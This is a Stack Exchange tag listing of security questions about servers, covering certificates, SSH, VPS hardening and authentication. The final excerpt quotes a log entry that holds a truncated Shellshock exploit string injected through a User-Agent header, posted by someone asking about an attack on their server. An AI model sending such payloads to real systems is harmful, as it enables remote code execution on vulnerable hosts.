A server is a machine running a software daemon that is generally accessed over a network by other machines.

learn more… | top users | synonyms

1
vote
1answer
257 views

How to verify data from localStorage on a server

This is a cross-post from my Programmers.StackExchange post - I think this might be a better forum to ask this question. Admins - please delete either of them as you deem fit. On my mobile app, I am ...
1
vote
1answer
144 views

Is it dangerous to allow clients to run JavaScript on a Server

On a webpage I have been working on, we can archive certain webpages for a user. The user can give an address and this webpage is than visited on the server and archived. Lately, I noticed that ...
1
vote
2answers
140 views

Does where I put my PKI certificates matter?

I have an intermediate and a root PKI certificate that I see were already imported into a computers (windows server 2003) certificate store. However both the intermediate and root certificates were ...
1
vote
1answer
354 views

How does Java connect via SSL to a server without me providing any private/public key for the communication? [duplicate]

I am talking about server side auth only. Does Java create an internal self-signed cert for this communication? AFAIK from TLS protocol, we both need to create a shared secret, which is based on what ...
1
vote
1answer
80 views

Should statically-linked server binaries (daemons) be deemed more secure? [closed]

For a long time I've pondered this question. I am aware of the benefits and downsides of dynamic libraries (shared objects), including the infamous article by Drepper. All other things being equal, ...
1
vote
1answer
353 views

Certificate services will not start with “server is offline” error [closed]

I have a subordinate CA. The Enterprise root service was uninstalled from the network by accident and then migrated to a new box using the same key. This new server has a different server name. It ...
1
vote
1answer
157 views

how much of a security threat would this be?

If I set up a Domain Controller server to be accessible from the internet via Remote Desktop Connection (through port forwarding in the router), how much of a threat would that be? and if I have a ...
1
vote
2answers
62 views

Per-transfer authorization of file transfers on a per transaction basis

In my organization, users have the rights to transfer files to and from servers using SSH File Transfer protocol for a variety of reasons; e.g. application troubleshooting, BAU, etc. Although our ...
1
vote
1answer
539 views

Custom Python Server - how to secure it?

I'm going to purchase my own dedicated server service soon and run few python server scripts on it. Firstly, let me tell you that I am total noob when it comes to internet security and was unable to ...
1
vote
1answer
115 views

Guidelines on out-of-band server management via integrated Lights-out services (iLO, iDRAC etc.)

Several CVEs (CVE-2012-3271, CVE-2011-4158, and earlier) point out vulnerabilities in remote server administration firmware; what are the guidelines on hardening this extremely useful component of ...
1
vote
1answer
40 views

Is it a good idea to disable WHM backend and only enable it through ssh when needed?

I have recently set up a managed VPS and it came per-installed with CentOs and WHM. I have configured SSH logins to use private keys and i can SSH into the server with root privileges. I realize ...
1
vote
1answer
36 views

Categories of security when evaluating services and protocols

I'm setting up some externally accessible services for a small business, and evaluating some of the different options I have. This is all new to me. I have found the question, "is this secure?" to be ...
1
vote
1answer
219 views

storage of client credential on OAuth2 server

I'm developing an API and used a recommended implementation of OAuth2 protocol: PHP OAuth2 Server. This library stores client ID and client secret as plain text in a database table. Note that I ...
1
vote
1answer
182 views

Securing a VPS network with a VPN and a DMZ

I've got several VPS boxes (Digital Ocean boxes w/Ubuntu) that I would like to lock down from the outside world. I want to have several private boxes (web servers, db servers, puppet/master boxes ...
1
vote
1answer
57 views

Defense of a server against malicious uploaded resources

We know that viruses and other threats can propagate through mail etc.But when any resource is shared,it is uploaded to the server and then shared.This means that the server does not take the ...
1
vote
1answer
114 views

how to trace or get evidence you've been hacked [closed]

my devices and my network have been compromised. I foolishly left my router unprotected and they were able to gain access to all my apple devices and then install some sort of software that will take ...
1
vote
1answer
175 views

How to trace AD Admin Login

How to trace an admin login to active directory server (2008 R2) from which host or which ip (In the situation where multiple admin are working) ?
1
vote
4answers
121 views

Is it possible to block specific users that connect to the internet behind of same gateway with NAT?

Assume there are two internet users (A and B) that connect to the internet from the same gateway by using NAT. That means they use same IP address while passing through our firewall. Now assume we ...
1
vote
2answers
96 views

Hardware-restricted root login

I was thinking about how security on my Linux server can be increased and came up with this question: If most intrusions are performed by gaining remote access to machines, would it be possible and ...
1
vote
1answer
160 views

MITM Attacks with Web GUI

I'm thinking of writing an application that communicates sensitive information (using Python, if that's relevant). Instead of using the standard GUI libraries (like GTK, Qt or wxWidgets), I was ...
1
vote
1answer
279 views

Is a separate server needed for remotely accesing accounting software?

Wishing you all a great 2014. I hope this is the right section. Basically we have a Dell Poweredge R520 server in our office, and we now want to install some accounting software that can be accessed ...
1
vote
2answers
126 views

Renting a remote server with IPMI: is one vulnerable?

It has been reported in the media and some security conscious mailing lists that some IPMI-enabled servers, implementations and brands suffer serious security issues. When you go to a dedicated ...
1
vote
2answers
203 views

Main requirements to secure my Application in any database related features

I have an application which is hosted on a windows server on which an SQL DB exists. This server communicates with the clients and agents installed on host PCs through TCP/IP and SSL connections. I'm ...
1
vote
4answers
344 views

Learn about network and security for securing a server

I'm setting up an OpenBSD server that I want to connect to the Internet (it's going to be used to host a site - so, with Apache, SQLite and the like). I want it to be as secure as possible. Social ...
1
vote
0answers
32 views

Is there a solution for On-the-fly-encryption with active directory rules & policies?

I am looking at having our servers' sql databases for a few program and documents to be always encrypted on the HDD, but available to AD users. So one or multiple users with the right AD privileges ...
1
vote
1answer
49 views

Store/retrieve users passwords on server (using password managers ?)

I am working on a project in wich a school's server will need to use students' passwords periodically to connect to another website for them. I am aware that storing users' passwords in a server ...
1
vote
0answers
42 views

Domain Exploitation [closed]

I have set up a domain testing environment on a couple of old computers that i had lying around at home. I have done a lot of information gathering and attempts at exploiting the machines via ...
1
vote
0answers
46 views

Is a direct SIP video call (encrypted) between two computers more secure than going through a registrar service?

I learned recently about ZRTP-encrypted video calls using an SIP client, such as Jitsi or Linphone or Blink. I was able to make a direct encrypted video call between two clients on the same local ...
1
vote
1answer
81 views

Secure (P2P) Client/Company File Sharing

my small web design company currently uses a cloud storage service to collaborate with our clients and I would like an easier (and more secure) way for files to be transferred-in and stored. The ...
1
vote
1answer
98 views

Implications of Bash history [closed]

I am using Salt Cloud to script my deployments of a small collection of commercial servers. Since it is cheap to get things right the first time, I'd like to avoid obvious mistakes. If I leave my ...
1
vote
0answers
448 views

Mobile Backend Server: How to validate authenticated client is valid?

Consider this scenario Step 1: App asks user to "Sign In" using Google or Facebook Step 2: Once authenticated, app sends user's Id (from Google/Facebook) to My App Server requested to app ...
1
vote
1answer
76 views

Protecting encryption of outdated software with a server

I have a 1st generation iPad, and I usually use it for web browsing when I'm home. The 1st gen iPad can't run newer versions of iOS (I'm stuck with iOS 5). I went to a website that tells if your SSL ...
1
vote
1answer
460 views

How should IPSec be configured to provide a protection at least as good as my current Stunnel configuration?

In private network (as in using a private IP address space) at a cloud provider, other customers have access to the same private network. I have secured the communication between many hosts and ...
1
vote
1answer
56 views

DDOS Server Attacks & Domain Names

I'm currently with a web hosting account whose servers seem to be constantly down due to DDOS attacks. I check my analytics daily and I'm seeing a major surge in fake traffic for several of my URLs ...
0
votes
2answers
176 views

Are buffer overflows on websites stoppable?

Recently, I was at the bookstore checking out books on computers. I found an interesting book on various types of hacks and how to stop them on your servers. One that caught my eye was the "buffer ...
0
votes
1answer
78 views

Application-Server connection security

I have this school project of mine that involves an app and a website that use the same database. The app serves as an administration tool for the website. Since it's made in C# and it's not as ...
0
votes
2answers
268 views

How do I prove for my client that unused ports are closed and unused services are disabled?

I have seen advice that I need to close all unused ports, and disable any unused services in order to secure my servers. How can I prove, beyond any doubt, to my client that I have done this? I need ...
0
votes
2answers
102 views

What influences the speed of rendered php page using encryption [closed]

I've built a web app which uses the openssl_private_decrypt() functions. The rendering of a page with 15 messages encrypted with these functions takes remarkely longer as the ones without. (3-4 ...
0
votes
1answer
410 views

How does Shodan crawl internet-connected devices?

I wonder how Shodan crawls internet-connected devices and adds them to its database. I know Google, for instance, finds new websites by following links in websites it already found, but that strategy ...
0
votes
1answer
116 views

Is there any reason to allow Python fetches of my Web server's pages?

I keep seeing "python-requests/1.1.0 CPython/2.7.4 Linux/3.8.0-19-generic" requests e.g. from Amazon's servers of my website. It's kind of creepy. Who would set up an Amazon server to scan websites? ...
0
votes
5answers
367 views

How to protect server uploads

I want to upload .jpg images to my Linux server so that clients can re-download the files when they want. Supposing unknowingly there is a trojan, worm or malware in my computer, will these be ...
0
votes
1answer
15 views

Is it possible to FDE a VPS/VMS

Is it possible to implement Full Disk Encryption on a Virtual Machine Server or a Virtual Private Server? Also, if it's possible, will the service provider (of the VPS) be able to decrypt/see my ...
0
votes
1answer
39 views

SELinux ignoring /etc/sysconfig/selinux directive

I'm running SELinux on CentOS 6.5. In /etc/sysconfig/selinux I have set SELINUX=permissive. But everytime the system starts, sudo getenforce shows SELinux as Enforcing. What could be causing it to go ...
0
votes
1answer
74 views

unfamiliar IP when logging into ssh server

I just noticed something today, and Now I am curious... I was on my shell server, an i was wondering who was on, so I gave the command $w and saw this: j0h@server:~$ w 22:06:02 up 18 days, 7:02, ...
0
votes
2answers
273 views

Subdomain-only SSL security/availability

CAcert and StartSSL both only validate domains whose TLD is owned by the requester. I have a few subdomains that come from places like freeDNS that I would like to run an SSL-secured server on. Are ...
0
votes
2answers
76 views

Restricting locations for unzipping a zip file

I hope that I have found the correct place to ask my question regarding unzipping files. I would like to see if there is a way to restrict the locations available to the user to unzip a password ...
0
votes
3answers
66 views

Is it possible for an attacker to redirect a packet sent by a client, modify it then sent to original server

Theoretical question: Is it possible, or will it ever be possible, for an attacker to sniff/intercept it and redirect a packet, sent from a client through wireless, modify it and then sent to the ...
0
votes
1answer
70 views

Why is Parallels Plesk running on port 8443 > 1023?

Parallels Plesk, a server administration software package, uses HTTP(S) on port 8443 (ref). I know that ports <1024 are only available for root. This means that if the server Plesk is using for ...
0
votes
1answer
42 views

The security of dll files in a Client/Server application in .net [closed]

I'm going to write a Client/Server application. There are some ambiguous concepts in this that I was not able to get answer to after many hours of searching. As we all know one of the major caveats ...
0
votes
1answer
355 views

Recent “attack” to my server that might be using shellshock exploit

I just notice this repeated entry in nginx log: 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: ...